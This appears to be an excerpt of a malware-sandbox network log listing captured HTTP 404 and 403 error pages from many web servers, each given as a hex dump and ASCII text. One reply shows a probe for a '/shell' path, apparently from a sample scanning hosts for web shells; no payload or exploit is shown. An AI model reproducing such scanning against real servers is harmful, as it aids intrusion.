Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 02 Jan 2024 05:25:01 GMTServer: Apache/2.4.12 (Win32) PHP/5.6.5Content-Length: 203Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 02 Jan 2024 05:25:18 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 02 Jan 2024 05:25:19 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.2Date: Tue, 02 Jan 2024 05:25:21 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 02 Jan 2024 05:25:21 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 02 Jan 2024 05:25:09 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Tue, 02 Jan 2024 05:25:24 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 02 Jan 2024 05:25:25 GMTContent-Type: text/htmlContent-Length: 3650Connection: keep-aliveETag: "636d2d22-e42"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: micro_httpdCache-Control: no-cacheDate: Tue, 02 Jan 2024 00:25:24 GMTContent-Type: text/htmlConnection: closeData Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 75 74 69 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 6f 6e 4c 6f 61 64 3d 27 6c 6f 67 6f 75 74 32 28 29 27 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 63 72 6f 5f 68 74 74 70 64 2f 22 3e 6d 69 63 72 6f 5f 68 74 74 70 64 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE><script language="javascript" src="util.js"></script></HEAD><BODY onLoad='logout2()' BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Tue, 02 Jan 2024 05:25:29 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Tue, 02 Jan 2024 05:25:34 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Tue, 02 Jan 2024 05:25:35 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 02 Jan 2024 05:25:35 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 02 Jan 2024 05:25:38 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 02 Jan 2024 05:24:52 GMTServer: Apache/2.2.9 (Debian) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8gLast-Modified: Tue, 14 Mar 2017 11:18:34 GMTETag: "3ca039-30b-54aaefd0ff680;48211bc79dac0"Accept-Ranges: bytesContent-Length: 779Vary: Accept-EncodingKeep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/htmlData Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 74 69 74 6c 65 3e 69 73 70 43 50 20 4f 4d 45 47 41 20 2d 20 45 72 72 6f 72 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 66 6f 6c 6c 6f 77 2c 20 6e 6f 69 6e 64 65 78 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 65 72 72 6f 72 73 2f 69 6e 63 2f 65 72 72 6f 72 64 6f 63 73 2e 6a 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 65 72 72 6f 72 73 2f 69 6e 63 2f 65 72 72 6f 72 64 6f 63 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 7a 68 22 3e 0a 09 09 09 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 09 09 09 09 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 21 3c 2f 68 32 3e 0a 09 09 09 09 3c 62 72 20 2f 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 70 61 74 68 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 67 65 74 5f 70 61 74 68 28 29 29 3b 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 3c 68 33 3e 5a 65 66 69 78 2e 2e 2e 21 20 4e 69 78 20 67 66 75 6e 64 6e 21 3c 2f 68 33 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>ispCP OMEGA - Error 404</title><meta name="robots" conten
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Tue, 02 Jan 2024 05:25:38 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Tue, 02 Jan 2024 05:25:38 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.2Date: Tue, 02 Jan 2024 05:25:37 GMTContent-Type: text/htmlContent-Length: 3650Connection: keep-aliveETag: "59bf8f7f-e42"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 